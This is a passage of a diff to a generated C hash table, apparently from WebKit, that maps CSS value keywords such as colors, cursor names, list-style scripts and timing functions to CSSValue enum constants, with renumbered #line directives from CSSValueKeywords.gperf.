-#line 88 "CSSValueKeywords.gperf"
-      {"silver", CSSValueSilver},
-#line 260 "CSSValueKeywords.gperf"
-      {"landscape", CSSValueLandscape},
-#line 281 "CSSValueKeywords.gperf"
-      {"show", CSSValueShow},
+#line 457 "CSSValueKeywords.gperf"
+      {"antialiased", CSSValueAntialiased},
 #line 23 "CSSValueKeywords.gperf"
       {"caption", CSSValueCaption},
-#line 18 "CSSValueKeywords.gperf"
-      {"outset", CSSValueOutset},
-#line 396 "CSSValueKeywords.gperf"
-      {"stroke", CSSValueStroke},
-#line 531 "CSSValueKeywords.gperf"
-      {"nonzero", CSSValueNonzero},
-#line 295 "CSSValueKeywords.gperf"
-      {"single", CSSValueSingle},
 #line 11 "CSSValueKeywords.gperf"
       {"inherit", CSSValueInherit},
-#line 300 "CSSValueKeywords.gperf"
-      {"up", CSSValueUp},
-#line 130 "CSSValueKeywords.gperf"
-      {"no-repeat", CSSValueNoRepeat},
-#line 76 "CSSValueKeywords.gperf"
-      {"black", CSSValueBlack},
-#line 223 "CSSValueKeywords.gperf"
+#line 145 "CSSValueKeywords.gperf"
+      {"middle", CSSValueMiddle},
+#line 446 "CSSValueKeywords.gperf"
+      {"ease-in", CSSValueEaseIn},
+#line 440 "CSSValueKeywords.gperf"
+      {"running", CSSValueRunning},
+#line 279 "CSSValueKeywords.gperf"
       {"w-resize", CSSValueWResize},
-#line 432 "CSSValueKeywords.gperf"
-      {"darksalmon", CSSValueDarksalmon},
-#line 304 "CSSValueKeywords.gperf"
-      {"infinite", CSSValueInfinite},
-#line 225 "CSSValueKeywords.gperf"
+#line 513 "CSSValueKeywords.gperf"
+      {"ghostwhite", CSSValueGhostwhite},
+#line 163 "CSSValueKeywords.gperf"
+      {"disc", CSSValueDisc},
+#line 14 "CSSValueKeywords.gperf"
+      {"hidden", CSSValueHidden},
+#line 433 "CSSValueKeywords.gperf"
+      {"padding", CSSValuePadding},
+#line 200 "CSSValueKeywords.gperf"
+      {"amharic", CSSValueAmharic},
+#line 581 "CSSValueKeywords.gperf"
+      {"skyblue", CSSValueSkyblue},
+#line 100 "CSSValueKeywords.gperf"
+      {"buttonhighlight", CSSValueButtonhighlight},
+#line 316 "CSSValueKeywords.gperf"
+      {"landscape", CSSValueLandscape},
+#line 246 "CSSValueKeywords.gperf"
+      {"inline-table", CSSValueInlineTable},
+#line 465 "CSSValueKeywords.gperf"
+      {"application", CSSValueApplication},
+#line 259 "CSSValueKeywords.gperf"
+      {"crosshair", CSSValueCrosshair},
+#line 267 "CSSValueKeywords.gperf"
+      {"progress", CSSValueProgress},
+#line 241 "CSSValueKeywords.gperf"
+      {"list-item", CSSValueListItem},
+#line 253 "CSSValueKeywords.gperf"
+      {"table-cell", CSSValueTableCell},
+#line 281 "CSSValueKeywords.gperf"
       {"ns-resize", CSSValueNsResize},
-#line 108 "CSSValueKeywords.gperf"
-      {"inactivecaption", CSSValueInactivecaption},
-#line 144 "CSSValueKeywords.gperf"
-      {"baseline", CSSValueBaseline},
-#line 368 "CSSValueKeywords.gperf"
-      {"round", CSSValueRound},
-#line 238 "CSSValueKeywords.gperf"
+#line 63 "CSSValueKeywords.gperf"
+      {"condensed", CSSValueCondensed},
+#line 197 "CSSValueKeywords.gperf"
+      {"afar", CSSValueAfar},
+#line 376 "CSSValueKeywords.gperf"
+      {"continuous", CSSValueContinuous},
+#line 330 "CSSValueKeywords.gperf"
+      {"portrait", CSSValuePortrait},
+#line 130 "CSSValueKeywords.gperf"
+      {"no-repeat", CSSValueNoRepeat},
+#line 582 "CSSValueKeywords.gperf"
+      {"slateblue", CSSValueSlateblue},
+#line 294 "CSSValueKeywords.gperf"
       {"capitalize", CSSValueCapitalize},
-#line 244 "CSSValueKeywords.gperf"
-      {"absolute", CSSValueAbsolute},
-#line 490 "CSSValueKeywords.gperf"
-      {"mintcream", CSSValueMintcream},
-#line 33 "CSSValueKeywords.gperf"
-      {"oblique", CSSValueOblique},
-#line 327 "CSSValueKeywords.gperf"
+#line 619 "CSSValueKeywords.gperf"
+      {"rl-tb", CSSValueRlTb},
+#line 602 "CSSValueKeywords.gperf"
+      {"crispedges", CSSValueCrispedges},
+#line 293 "CSSValueKeywords.gperf"
+      {"rtl", CSSValueRtl},
+#line 58 "CSSValueKeywords.gperf"
+      {"larger", CSSValueLarger},
+#line 96 "CSSValueKeywords.gperf"
+      {"activecaption", CSSValueActivecaption},
+#line 383 "CSSValueKeywords.gperf"
       {"radio", CSSValueRadio},
-#line 53 "CSSValueKeywords.gperf"
-      {"large", CSSValueLarge},
-#line 274 "CSSValueKeywords.gperf"
-      {"portrait", CSSValuePortrait},
-#line 449 "CSSValueKeywords.gperf"
-      {"gold", CSSValueGold},
+#line 20 "CSSValueKeywords.gperf"
+      {"dashed", CSSValueDashed},
+#line 35 "CSSValueKeywords.gperf"
+      {"small-caps", CSSValueSmallCaps},
+#line 147 "CSSValueKeywords.gperf"
+      {"super", CSSValueSuper},
+#line 477 "CSSValueKeywords.gperf"
+      {"cadetblue", CSSValueCadetblue},
+#line 596 "CSSValueKeywords.gperf"
+      {"nonzero", CSSValueNonzero},
+#line 475 "CSSValueKeywords.gperf"
+      {"brown", CSSValueBrown},
+#line 90 "CSSValueKeywords.gperf"
+      {"white", CSSValueWhite},
+#line 362 "CSSValueKeywords.gperf"
+      {"alternate", CSSValueAlternate},
+#line 302 "CSSValueKeywords.gperf"
+      {"avoid", CSSValueAvoid},
 #line 57 "CSSValueKeywords.gperf"
       {"smaller", CSSValueSmaller},
-#line 438 "CSSValueKeywords.gperf"
-      {"darkviolet", CSSValueDarkviolet},
-#line 378 "CSSValueKeywords.gperf"
-      {"visual", CSSValueVisual},
-#line 454 "CSSValueKeywords.gperf"
+#line 447 "CSSValueKeywords.gperf"
+      {"ease-out", CSSValueEaseOut},
+#line 17 "CSSValueKeywords.gperf"
+      {"ridge", CSSValueRidge},
+#line 50 "CSSValueKeywords.gperf"
+      {"x-small", CSSValueXSmall},
+#line 88 "CSSValueKeywords.gperf"
+      {"silver", CSSValueSilver},
+#line 254 "CSSValueKeywords.gperf"
+      {"table-caption", CSSValueTableCaption},
+#line 219 "CSSValueKeywords.gperf"
+      {"tigre", CSSValueTigre},
+#line 27 "CSSValueKeywords.gperf"
+      {"small-caption", CSSValueSmallCaption},
+#line 111 "CSSValueKeywords.gperf"
+      {"infotext", CSSValueInfotext},
+#line 155 "CSSValueKeywords.gperf"
+      {"right", CSSValueRight},
+#line 341 "CSSValueKeywords.gperf"
+      {"underline", CSSValueUnderline},
+#line 445 "CSSValueKeywords.gperf"
+      {"linear", CSSValueLinear},
+#line 171 "CSSValueKeywords.gperf"
+      {"cambodian", CSSValueCambodian},
+#line 467 "CSSValueKeywords.gperf"
+      {"aliceblue", CSSValueAliceblue},
+#line 527 "CSSValueKeywords.gperf"
+      {"lightblue", CSSValueLightblue},
+#line 314 "CSSValueKeywords.gperf"
+      {"higher", CSSValueHigher},
+#line 19 "CSSValueKeywords.gperf"
+      {"dotted", CSSValueDotted},
+#line 564 "CSSValueKeywords.gperf"
+      {"palegreen", CSSValuePalegreen},
+#line 141 "CSSValueKeywords.gperf"
+      {"xor", CSSValueXor},
+#line 154 "CSSValueKeywords.gperf"
+      {"left", CSSValueLeft},
+#line 519 "CSSValueKeywords.gperf"
       {"indianred", CSSValueIndianred},
-#line 85 "CSSValueKeywords.gperf"
-      {"orange", CSSValueOrange},
-#line 161 "CSSValueKeywords.gperf"
-      {"outside", CSSValueOutside},
-#line 205 "CSSValueKeywords.gperf"
-      {"pointer", CSSValuePointer},
-#line 90 "CSSValueKeywords.gperf"
-      {"white", CSSValueWhite},
-#line 526 "CSSValueKeywords.gperf"
-      {"turquoise", CSSValueTurquoise},
-#line 212 "CSSValueKeywords.gperf"
-      {"no-drop", CSSValueNoDrop},
+#line 39 "CSSValueKeywords.gperf"
+      {"lighter", CSSValueLighter},
+#line 586 "CSSValueKeywords.gperf"
+      {"springgreen", CSSValueSpringgreen},
+#line 80 "CSSValueKeywords.gperf"
+      {"green", CSSValueGreen},
+#line 482 "CSSValueKeywords.gperf"
+      {"cornsilk", CSSValueCornsilk},
+#line 79 "CSSValueKeywords.gperf"
+      {"gray", CSSValueGray},
+#line 428 "CSSValueKeywords.gperf"
+      {"round", CSSValueRound},
+#line 181 "CSSValueKeywords.gperf"
+      {"myanmar", CSSValueMyanmar},
+#line 554 "CSSValueKeywords.gperf"
+      {"midnightblue", CSSValueMidnightblue},
+#line 366 "CSSValueKeywords.gperf"
+      {"element", CSSValueElement},
 #line 555 "CSSValueKeywords.gperf"
-      {"rl-tb", CSSValueRlTb},
-#line 394 "CSSValueKeywords.gperf"
-      {"painted", CSSValuePainted},
-#line 208 "CSSValueKeywords.gperf"
+      {"mintcream", CSSValueMintcream},
+#line 242 "CSSValueKeywords.gperf"
+      {"run-in", CSSValueRunIn},
+#line 449 "CSSValueKeywords.gperf"
+      {"document", CSSValueDocument},
+#line 540 "CSSValueKeywords.gperf"
+      {"lightsteelblue", CSSValueLightsteelblue},
+#line 264 "CSSValueKeywords.gperf"
       {"cell", CSSValueCell},
-#line 246 "CSSValueKeywords.gperf"
-      {"avoid", CSSValueAvoid},
-#line 275 "CSSValueKeywords.gperf"
+#line 179 "CSSValueKeywords.gperf"
+      {"malayalam", CSSValueMalayalam},
+#line 532 "CSSValueKeywords.gperf"
+      {"lightgreen", CSSValueLightgreen},
+#line 92 "CSSValueKeywords.gperf"
+      {"transparent", CSSValueTransparent},
+#line 542 "CSSValueKeywords.gperf"
+      {"limegreen", CSSValueLimegreen},
+#line 456 "CSSValueKeywords.gperf"
+      {"stroke", CSSValueStroke},
+#line 368 "CSSValueKeywords.gperf"
+      {"intrinsic", CSSValueIntrinsic},
+#line 454 "CSSValueKeywords.gperf"
+      {"painted", CSSValuePainted},
+#line 536 "CSSValueKeywords.gperf"
+      {"lightseagreen", CSSValueLightseagreen},
+#line 331 "CSSValueKeywords.gperf"
       {"pre", CSSValuePre},
+#line 289 "CSSValueKeywords.gperf"
+      {"all-scroll", CSSValueAllScroll},
+#line 288 "CSSValueKeywords.gperf"
+      {"help", CSSValueHelp},
+#line 175 "CSSValueKeywords.gperf"
+      {"gurmukhi", CSSValueGurmukhi},
+#line 348 "CSSValueKeywords.gperf"
+      {"vertical", CSSValueVertical},
+#line 528 "CSSValueKeywords.gperf"
+      {"lightcoral", CSSValueLightcoral},
+#line 384 "CSSValueKeywords.gperf"
+      {"push-button", CSSValuePushButton},
+#line 323 "CSSValueKeywords.gperf"
+      {"mix", CSSValueMix},
+#line 287 "CSSValueKeywords.gperf"
+      {"wait", CSSValueWait},
+#line 344 "CSSValueKeywords.gperf"
+      {"start", CSSValueStart},
+#line 252 "CSSValueKeywords.gperf"
+      {"table-column", CSSValueTableColumn},
+#line 268 "CSSValueKeywords.gperf"
+      {"no-drop", CSSValueNoDrop},
+#line 315 "CSSValueKeywords.gperf"
+      {"invert", CSSValueInvert},
+#line 307 "CSSValueKeywords.gperf"
+      {"close-quote", CSSValueCloseQuote},
+#line 183 "CSSValueKeywords.gperf"
+      {"oriya", CSSValueOriya},
+#line 464 "CSSValueKeywords.gperf"
+      {"floating", CSSValueFloating},
+#line 143 "CSSValueKeywords.gperf"
+      {"plus-lighter", CSSValuePlusLighter},
+#line 184 "CSSValueKeywords.gperf"
+      {"persian", CSSValuePersian},
+#line 240 "CSSValueKeywords.gperf"
+      {"block", CSSValueBlock},
 #line 165 "CSSValueKeywords.gperf"
       {"square", CSSValueSquare},
-#line 397 "CSSValueKeywords.gperf"
-      {"antialiased", CSSValueAntialiased},
-#line 539 "CSSValueKeywords.gperf"
-      {"butt", CSSValueButt},
-#line 410 "CSSValueKeywords.gperf"
-      {"brown", CSSValueBrown},
-#line 32 "CSSValueKeywords.gperf"
-      {"italic", CSSValueItalic},
-#line 538 "CSSValueKeywords.gperf"
-      {"crispedges", CSSValueCrispedges},
-#line 516 "CSSValueKeywords.gperf"
-      {"skyblue", CSSValueSkyblue},
-#line 330 "CSSValueKeywords.gperf"
-      {"button", CSSValueButton},
-#line 529 "CSSValueKeywords.gperf"
-      {"whitesmoke", CSSValueWhitesmoke},
-#line 282 "CSSValueKeywords.gperf"
-      {"static", CSSValueStatic},
-#line 237 "CSSValueKeywords.gperf"
-      {"rtl", CSSValueRtl},
-#line 404 "CSSValueKeywords.gperf"
-      {"aquamarine", CSSValueAquamarine},
-#line 310 "CSSValueKeywords.gperf"
-      {"element", CSSValueElement},
-#line 292 "CSSValueKeywords.gperf"
-      {"vertical", CSSValueVertical},
-#line 151 "CSSValueKeywords.gperf"
-      {"bottom", CSSValueBottom},
+#line 451 "CSSValueKeywords.gperf"
+      {"visiblepainted", CSSValueVisiblepainted},
+#line 210 "CSSValueKeywords.gperf"
+      {"hangul-consonant", CSSValueHangulConsonant},
+#line 134 "CSSValueKeywords.gperf"
+      {"source-in", CSSValueSourceIn},
+#line 261 "CSSValueKeywords.gperf"
+      {"pointer", CSSValuePointer},
+#line 472 "CSSValueKeywords.gperf"
+      {"bisque", CSSValueBisque},
+#line 598 "CSSValueKeywords.gperf"
+      {"accumulate", CSSValueAccumulate},
+#line 119 "CSSValueKeywords.gperf"
+      {"threedshadow", CSSValueThreedshadow},
+#line 339 "CSSValueKeywords.gperf"
+      {"thick", CSSValueThick},
+#line 561 "CSSValueKeywords.gperf"
+      {"orangered", CSSValueOrangered},
+#line 132 "CSSValueKeywords.gperf"
+      {"copy", CSSValueCopy},
 #line 114 "CSSValueKeywords.gperf"
       {"scrollbar", CSSValueScrollbar},
-#line 395 "CSSValueKeywords.gperf"
-      {"fill", CSSValueFill},
-#line 369 "CSSValueKeywords.gperf"
-      {"border", CSSValueBorder},
-#line 35 "CSSValueKeywords.gperf"
-      {"small-caps", CSSValueSmallCaps},
-#line 211 "CSSValueKeywords.gperf"
-      {"progress", CSSValueProgress},
-#line 380 "CSSValueKeywords.gperf"
-      {"running", CSSValueRunning},
+#line 324 "CSSValueKeywords.gperf"
+      {"no-close-quote", CSSValueNoCloseQuote},
+#line 459 "CSSValueKeywords.gperf"
+      {"optimizespeed", CSSValueOptimizespeed},
+#line 570 "CSSValueKeywords.gperf"
+      {"pink", CSSValuePink},
+#line 604 "CSSValueKeywords.gperf"
+      {"miter", CSSValueMiter},
+#line 442 "CSSValueKeywords.gperf"
+      {"flat", CSSValueFlat},
+#line 359 "CSSValueKeywords.gperf"
+      {"fast", CSSValueFast},
 #line 38 "CSSValueKeywords.gperf"
       {"bolder", CSSValueBolder},
-#line 402 "CSSValueKeywords.gperf"
-      {"aliceblue", CSSValueAliceblue},
-#line 197 "CSSValueKeywords.gperf"
-      {"table-cell", CSSValueTableCell},
-#line 376 "CSSValueKeywords.gperf"
+#line 436 "CSSValueKeywords.gperf"
       {"cover", CSSValueCover},
-#line 386 "CSSValueKeywords.gperf"
-      {"ease-in", CSSValueEaseIn},
-#line 92 "CSSValueKeywords.gperf"
-      {"transparent", CSSValueTransparent},
+#line 469 "CSSValueKeywords.gperf"
+      {"aquamarine", CSSValueAquamarine},
+#line 429 "CSSValueKeywords.gperf"
+      {"border", CSSValueBorder},
+#line 136 "CSSValueKeywords.gperf"
+      {"source-atop", CSSValueSourceAtop},
+#line 89 "CSSValueKeywords.gperf"
+      {"teal", CSSValueTeal},
+#line 25 "CSSValueKeywords.gperf"
+      {"menu", CSSValueMenu},
+#line 375 "CSSValueKeywords.gperf"
+      {"wave", CSSValueWave},
+#line 387 "CSSValueKeywords.gperf"
+      {"button-bevel", CSSValueButtonBevel},
+#line 325 "CSSValueKeywords.gperf"
+      {"no-open-quote", CSSValueNoOpenQuote},
+#line 529 "CSSValueKeywords.gperf"
+      {"lightcyan", CSSValueLightcyan},
+#line 118 "CSSValueKeywords.gperf"
+      {"threedlightshadow", CSSValueThreedlightshadow},
+#line 52 "CSSValueKeywords.gperf"
+      {"medium", CSSValueMedium},
+#line 170 "CSSValueKeywords.gperf"
+      {"bengali", CSSValueBengali},
+#line 355 "CSSValueKeywords.gperf"
+      {"ahead", CSSValueAhead},
+#line 284 "CSSValueKeywords.gperf"
+      {"col-resize", CSSValueColResize},
+#line 579 "CSSValueKeywords.gperf"
+      {"seashell", CSSValueSeashell},
+#line 473 "CSSValueKeywords.gperf"
+      {"blanchedalmond", CSSValueBlanchedalmond},
+#line 76 "CSSValueKeywords.gperf"
+      {"black", CSSValueBlack},
+#line 518 "CSSValueKeywords.gperf"
+      {"hotpink", CSSValueHotpink},
+#line 78 "CSSValueKeywords.gperf"
+      {"fuchsia", CSSValueFuchsia},
+#line 357 "CSSValueKeywords.gperf"
+      {"down", CSSValueDown},
+#line 409 "CSSValueKeywords.gperf"
+      {"menulist", CSSValueMenulist},
+#line 566 "CSSValueKeywords.gperf"
+      {"palevioletred", CSSValuePalevioletred},
 #line 515 "CSSValueKeywords.gperf"
-      {"sienna", CSSValueSienna},
-#line 391 "CSSValueKeywords.gperf"
-      {"visiblepainted", CSSValueVisiblepainted},
-#line 285 "CSSValueKeywords.gperf"
-      {"underline", CSSValueUnderline},
-#line 17 "CSSValueKeywords.gperf"
-      {"ridge", CSSValueRidge},
-#line 96 "CSSValueKeywords.gperf"
-      {"activecaption", CSSValueActivecaption},
-#line 180 "CSSValueKeywords.gperf"
-      {"katakana", CSSValueKatakana},
+      {"goldenrod", CSSValueGoldenrod},
+#line 534 "CSSValueKeywords.gperf"
+      {"lightpink", CSSValueLightpink},
+#line 569 "CSSValueKeywords.gperf"
+      {"peru", CSSValuePeru},
+#line 455 "CSSValueKeywords.gperf"
+      {"fill", CSSValueFill},
+#line 176 "CSSValueKeywords.gperf"
+      {"kannada", CSSValueKannada},
+#line 373 "CSSValueKeywords.gperf"
+      {"dot-dash", CSSValueDotDash},
+#line 492 "CSSValueKeywords.gperf"
+      {"darkmagenta", CSSValueDarkmagenta},
+#line 174 "CSSValueKeywords.gperf"
+      {"gujarati", CSSValueGujarati},
+#line 448 "CSSValueKeywords.gperf"
+      {"ease-in-out", CSSValueEaseInOut},
+#line 390 "CSSValueKeywords.gperf"
+      {"list-button", CSSValueListButton},
+#line 116 "CSSValueKeywords.gperf"
+      {"threedface", CSSValueThreedface},
+#line 220 "CSSValueKeywords.gperf"
+      {"ethiopic-halehame-tig", CSSValueEthiopicHalehameTig},
 #line 124 "CSSValueKeywords.gperf"
       {"currentcolor", CSSValueCurrentcolor},
-#line 231 "CSSValueKeywords.gperf"
-      {"wait", CSSValueWait},
-#line 299 "CSSValueKeywords.gperf"
-      {"ahead", CSSValueAhead},
-#line 185 "CSSValueKeywords.gperf"
-      {"list-item", CSSValueListItem},
-#line 377 "CSSValueKeywords.gperf"
-      {"logical", CSSValueLogical},
-#line 186 "CSSValueKeywords.gperf"
-      {"run-in", CSSValueRunIn},
-#line 259 "CSSValueKeywords.gperf"
-      {"invert", CSSValueInvert},
-#line 373 "CSSValueKeywords.gperf"
-      {"padding", CSSValuePadding},
-#line 306 "CSSValueKeywords.gperf"
-      {"alternate", CSSValueAlternate},
-#line 257 "CSSValueKeywords.gperf"
-      {"hide", CSSValueHide},
+#line 172 "CSSValueKeywords.gperf"
+      {"khmer", CSSValueKhmer},
+#line 503 "CSSValueKeywords.gperf"
+      {"darkviolet", CSSValueDarkviolet},
+#line 106 "CSSValueKeywords.gperf"
+      {"highlighttext", CSSValueHighlighttext},
+#line 497 "CSSValueKeywords.gperf"
+      {"darksalmon", CSSValueDarksalmon},
+#line 305 "CSSValueKeywords.gperf"
+      {"blink", CSSValueBlink},
+#line 574 "CSSValueKeywords.gperf"
+      {"royalblue", CSSValueRoyalblue},
+#line 580 "CSSValueKeywords.gperf"
+      {"sienna", CSSValueSienna},
+#line 349 "CSSValueKeywords.gperf"
+      {"inline-axis", CSSValueInlineAxis},
+#line 168 "CSSValueKeywords.gperf"
+      {"arabic-indic", CSSValueArabicIndic},
+#line 135 "CSSValueKeywords.gperf"
+      {"source-out", CSSValueSourceOut},
+#line 237 "CSSValueKeywords.gperf"
+      {"hiragana-iroha", CSSValueHiraganaIroha},
+#line 101 "CSSValueKeywords.gperf"
+      {"buttonshadow", CSSValueButtonshadow},
 #line 59 "CSSValueKeywords.gperf"
       {"wider", CSSValueWider},
-#line 233 "CSSValueKeywords.gperf"
-      {"all-scroll", CSSValueAllScroll},
-#line 190 "CSSValueKeywords.gperf"
-      {"inline-table", CSSValueInlineTable},
-#line 19 "CSSValueKeywords.gperf"
-      {"dotted", CSSValueDotted},
-#line 540 "CSSValueKeywords.gperf"
-      {"miter", CSSValueMiter},
-#line 477 "CSSValueKeywords.gperf"
-      {"limegreen", CSSValueLimegreen},
-#line 312 "CSSValueKeywords.gperf"
-      {"intrinsic", CSSValueIntrinsic},
-#line 141 "CSSValueKeywords.gperf"
-      {"xor", CSSValueXor},
-#line 495 "CSSValueKeywords.gperf"
+#line 468 "CSSValueKeywords.gperf"
+      {"antiquewhite", CSSValueAntiquewhite},
+#line 54 "CSSValueKeywords.gperf"
+      {"x-large", CSSValueXLarge},
+#line 208 "CSSValueKeywords.gperf"
+      {"ethiopic-abegede", CSSValueEthiopicAbegede},
+#line 207 "CSSValueKeywords.gperf"
+      {"ethiopic-halehame-gez", CSSValueEthiopicHalehameGez},
+#line 593 "CSSValueKeywords.gperf"
+      {"wheat", CSSValueWheat},
+#line 295 "CSSValueKeywords.gperf"
+      {"uppercase", CSSValueUppercase},
+#line 102 "CSSValueKeywords.gperf"
+      {"buttontext", CSSValueButtontext},
+#line 317 "CSSValueKeywords.gperf"
+      {"level", CSSValueLevel},
+#line 560 "CSSValueKeywords.gperf"
       {"olivedrab", CSSValueOlivedrab},
-#line 188 "CSSValueKeywords.gperf"
-      {"inline-block", CSSValueInlineBlock},
-#line 134 "CSSValueKeywords.gperf"
-      {"source-in", CSSValueSourceIn},
-#line 316 "CSSValueKeywords.gperf"
-      {"discard", CSSValueDiscard},
-#line 501 "CSSValueKeywords.gperf"
-      {"palevioletred", CSSValuePalevioletred},
-#line 27 "CSSValueKeywords.gperf"
-      {"small-caption", CSSValueSmallCaption},
-#line 399 "CSSValueKeywords.gperf"
-      {"optimizespeed", CSSValueOptimizespeed},
-#line 389 "CSSValueKeywords.gperf"
-      {"document", CSSValueDocument},
-#line 89 "CSSValueKeywords.gperf"
-      {"teal", CSSValueTeal},
-#line 58 "CSSValueKeywords.gperf"
-      {"larger", CSSValueLarger},
-#line 116 "CSSValueKeywords.gperf"
-      {"threedface", CSSValueThreedface},
-#line 407 "CSSValueKeywords.gperf"
-      {"bisque", CSSValueBisque},
-#line 382 "CSSValueKeywords.gperf"
-      {"flat", CSSValueFlat},
-#line 412 "CSSValueKeywords.gperf"
-      {"cadetblue", CSSValueCadetblue},
-#line 517 "CSSValueKeywords.gperf"
-      {"slateblue", CSSValueSlateblue},
-#line 393 "CSSValueKeywords.gperf"
-      {"visiblestroke", CSSValueVisiblestroke},
+#line 512 "CSSValueKeywords.gperf"
+      {"gainsboro", CSSValueGainsboro},
+#line 186 "CSSValueKeywords.gperf"
+      {"telugu", CSSValueTelugu},
+#line 607 "CSSValueKeywords.gperf"
+      {"after-edge", CSSValueAfterEdge},
+#line 332 "CSSValueKeywords.gperf"
+      {"pre-line", CSSValuePreLine},
 #line 87 "CSSValueKeywords.gperf"
       {"red", CSSValueRed},
-#line 198 "CSSValueKeywords.gperf"
-      {"table-caption", CSSValueTableCaption},
-#line 136 "CSSValueKeywords.gperf"
-      {"source-atop", CSSValueSourceAtop},
-#line 427 "CSSValueKeywords.gperf"
-      {"darkmagenta", CSSValueDarkmagenta},
-#line 50 "CSSValueKeywords.gperf"
-      {"x-small", CSSValueXSmall},
-#line 535 "CSSValueKeywords.gperf"
-      {"srgb", CSSValueSrgb},
-#line 228 "CSSValueKeywords.gperf"
-      {"col-resize", CSSValueColResize},
-#line 239 "CSSValueKeywords.gperf"
-      {"uppercase", CSSValueUppercase},
-#line 303 "CSSValueKeywords.gperf"
-      {"fast", CSSValueFast},
+#line 508 "CSSValueKeywords.gperf"
+      {"dodgerblue", CSSValueDodgerblue},
+#line 83 "CSSValueKeywords.gperf"
+      {"navy", CSSValueNavy},
+#line 391 "CSSValueKeywords.gperf"
+      {"listbox", CSSValueListbox},
+#line 450 "CSSValueKeywords.gperf"
+      {"reset", CSSValueReset},
+#line 369 "CSSValueKeywords.gperf"
+      {"min-intrinsic", CSSValueMinIntrinsic},
+#line 109 "CSSValueKeywords.gperf"
+      {"inactivecaptiontext", CSSValueInactivecaptiontext},
+#line 260 "CSSValueKeywords.gperf"
+      {"default", CSSValueDefault},
+#line 471 "CSSValueKeywords.gperf"
+      {"beige", CSSValueBeige},
+#line 244 "CSSValueKeywords.gperf"
+      {"inline-block", CSSValueInlineBlock},
+#line 321 "CSSValueKeywords.gperf"
+      {"lower", CSSValueLower},
+#line 334 "CSSValueKeywords.gperf"
+      {"relative", CSSValueRelative},
 #line 131 "CSSValueKeywords.gperf"
       {"clear", CSSValueClear},
-#line 431 "CSSValueKeywords.gperf"
-      {"darkred", CSSValueDarkred},
-#line 499 "CSSValueKeywords.gperf"
-      {"palegreen", CSSValuePalegreen},
-#line 320 "CSSValueKeywords.gperf"
-      {"continuous", CSSValueContinuous},
-#line 80 "CSSValueKeywords.gperf"
-      {"green", CSSValueGreen},
-#line 291 "CSSValueKeywords.gperf"
-      {"horizontal", CSSValueHorizontal},
-#line 288 "CSSValueKeywords.gperf"
-      {"start", CSSValueStart},
-#line 319 "CSSValueKeywords.gperf"
-      {"wave", CSSValueWave},
+#line 372 "CSSValueKeywords.gperf"
+      {"discard", CSSValueDiscard},
+#line 103 "CSSValueKeywords.gperf"
+      {"captiontext", CSSValueCaptiontext},
 #line 166 "CSSValueKeywords.gperf"
       {"decimal", CSSValueDecimal},
+#line 583 "CSSValueKeywords.gperf"
+      {"slategray", CSSValueSlategray},
 #line 156 "CSSValueKeywords.gperf"
       {"center", CSSValueCenter},
-#line 261 "CSSValueKeywords.gperf"
-      {"level", CSSValueLevel},
-#line 25 "CSSValueKeywords.gperf"
-      {"menu", CSSValueMenu},
-#line 267 "CSSValueKeywords.gperf"
-      {"mix", CSSValueMix},
-#line 544 "CSSValueKeywords.gperf"
+#line 584 "CSSValueKeywords.gperf"
+      {"slategrey", CSSValueSlategrey},
+#line 99 "CSSValueKeywords.gperf"
+      {"buttonface", CSSValueButtonface},
+#line 563 "CSSValueKeywords.gperf"
+      {"palegoldenrod", CSSValuePalegoldenrod},
+#line 608 "CSSValueKeywords.gperf"
       {"central", CSSValueCentral},
-#line 154 "CSSValueKeywords.gperf"
-      {"left", CSSValueLeft},
-#line 14 "CSSValueKeywords.gperf"
-      {"hidden", CSSValueHidden},
-#line 504 "CSSValueKeywords.gperf"
-      {"peru", CSSValuePeru},
-#line 479 "CSSValueKeywords.gperf"
-      {"magenta", CSSValueMagenta},
-#line 278 "CSSValueKeywords.gperf"
-      {"relative", CSSValueRelative},
-#line 132 "CSSValueKeywords.gperf"
-      {"copy", CSSValueCopy},
+#line 269 "CSSValueKeywords.gperf"
+      {"not-allowed", CSSValueNotAllowed},
 #line 301 "CSSValueKeywords.gperf"
-      {"down", CSSValueDown},
-#line 52 "CSSValueKeywords.gperf"
-      {"medium", CSSValueMedium},
-#line 220 "CSSValueKeywords.gperf"
-      {"se-resize", CSSValueSeResize},
-#line 390 "CSSValueKeywords.gperf"
-      {"reset", CSSValueReset},
-#line 509 "CSSValueKeywords.gperf"
-      {"royalblue", CSSValueRoyalblue},
-#line 420 "CSSValueKeywords.gperf"
-      {"darkblue", CSSValueDarkblue},
-#line 217 "CSSValueKeywords.gperf"
-      {"ne-resize", CSSValueNeResize},
-#line 311 "CSSValueKeywords.gperf"
-      {"ignore", CSSValueIgnore},
-#line 97 "CSSValueKeywords.gperf"
-      {"appworkspace", CSSValueAppworkspace},
-#line 251 "CSSValueKeywords.gperf"
-      {"close-quote", CSSValueCloseQuote},
-#line 392 "CSSValueKeywords.gperf"
-      {"visiblefill", CSSValueVisiblefill},
-#line 496 "CSSValueKeywords.gperf"
-      {"orangered", CSSValueOrangered},
+      {"always", CSSValueAlways},
+#line 296 "CSSValueKeywords.gperf"
+      {"lowercase", CSSValueLowercase},
+#line 202 "CSSValueKeywords.gperf"
+      {"amharic-abegede", CSSValueAmharicAbegede},
+#line 280 "CSSValueKeywords.gperf"
+      {"ew-resize", CSSValueEwResize},
+#line 277 "CSSValueKeywords.gperf"
+      {"sw-resize", CSSValueSwResize},
+#line 318 "CSSValueKeywords.gperf"
+      {"line-through", CSSValueLineThrough},
+#line 594 "CSSValueKeywords.gperf"
+      {"whitesmoke", CSSValueWhitesmoke},
+#line 466 "CSSValueKeywords.gperf"
+      {"fullscreen", CSSValueFullscreen},
 #line 120 "CSSValueKeywords.gperf"
       {"window", CSSValueWindow},
-#line 528 "CSSValueKeywords.gperf"
-      {"wheat", CSSValueWheat},
-#line 497 "CSSValueKeywords.gperf"
-      {"orchid", CSSValueOrchid},
-#line 450 "CSSValueKeywords.gperf"
-      {"goldenrod", CSSValueGoldenrod},
-#line 127 "CSSValueKeywords.gperf"
-      {"repeat", CSSValueRepeat},
-#line 256 "CSSValueKeywords.gperf"
-      {"hand", CSSValueHand},
-#line 280 "CSSValueKeywords.gperf"
-      {"separate", CSSValueSeparate},
-#line 268 "CSSValueKeywords.gperf"
-      {"no-close-quote", CSSValueNoCloseQuote},
-#line 313 "CSSValueKeywords.gperf"
-      {"min-intrinsic", CSSValueMinIntrinsic},
-#line 351 "CSSValueKeywords.gperf"
-      {"menulist", CSSValueMenulist},
-#line 203 "CSSValueKeywords.gperf"
-      {"crosshair", CSSValueCrosshair},
-#line 458 "CSSValueKeywords.gperf"
+#line 66 "CSSValueKeywords.gperf"
